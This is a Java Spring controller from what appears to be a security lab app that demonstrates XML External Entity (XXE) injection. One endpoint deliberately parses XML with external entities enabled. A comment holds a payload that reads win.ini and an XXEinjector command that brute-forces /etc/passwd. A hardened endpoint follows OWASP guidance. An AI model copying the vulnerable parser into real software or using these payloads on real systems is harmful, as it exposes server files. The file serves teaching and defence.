package app.keter.controller.xxe;

import keter.sec.springsec.controller.BaseController;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;

import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;

@Controller
@RequestMapping("/public")//注意："path"和"path/"是两个不同的映射
public class XXEController extends BaseController{

	@GetMapping("/xxe")
	public String xxe() {
		return "xxe/xxe.html";
	}

	/**
	 * 原始数据(合法):
	 <?xml version="1.0" encoding="UTF-8"?>
	 <foo>bar</foo>
	 -------------------------------------
	 * Payload:
	  <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>
	 * Auto Payload:
	   ruby XXEinjector.rb --host=192.168.241.94 --brute=/etc/passwd --file=xxe.req
	 * @param request
	 * @return
	 */
	@PostMapping("/xxe")
    @ResponseBody
	public String xxeData(@RequestBody String request) throws ParserConfigurationException, IOException, SAXException {
		return parseXML(request);
	}

    /**
	 * FIX:
     * https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#XMLInputFactory_.28a_StAX_parser.29
     * @param request
     * @return
     * @throws ParserConfigurationException
     * @throws IOException
     * @throws SAXException
     */
	@PostMapping("/xxesafe")
	@ResponseBody
	public String xxeSafe(@RequestBody String request) throws ParserConfigurationException, IOException, SAXException {
		return parseXMLSafe(request);
	}

	private String parseXML(@RequestBody String request) throws ParserConfigurationException, SAXException, IOException {
		DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
		DocumentBuilder builder = factory.newDocumentBuilder();
		InputStream stream = new ByteArrayInputStream(request.getBytes(StandardCharsets.UTF_8.name()));
		InputSource is = new InputSource(stream);
		Document doc = builder.parse(is);
		// get the first element
		Element element = doc.getDocumentElement();
		return element.getChildNodes().item(0).getTextContent();
	}

	private String parseXMLSafe(@RequestBody String request) throws ParserConfigurationException, SAXException, IOException {
		DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
		//限制外部DTD访问
		factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
		factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
		DocumentBuilder builder = factory.newDocumentBuilder();
		InputStream stream = new ByteArrayInputStream(request.getBytes(StandardCharsets.UTF_8.name()));
		InputSource is = new InputSource(stream);
		Document doc = builder.parse(is);
		// get the first element
		Element element = doc.getDocumentElement();
		return element.getChildNodes().item(0).getTextContent();
	}
}
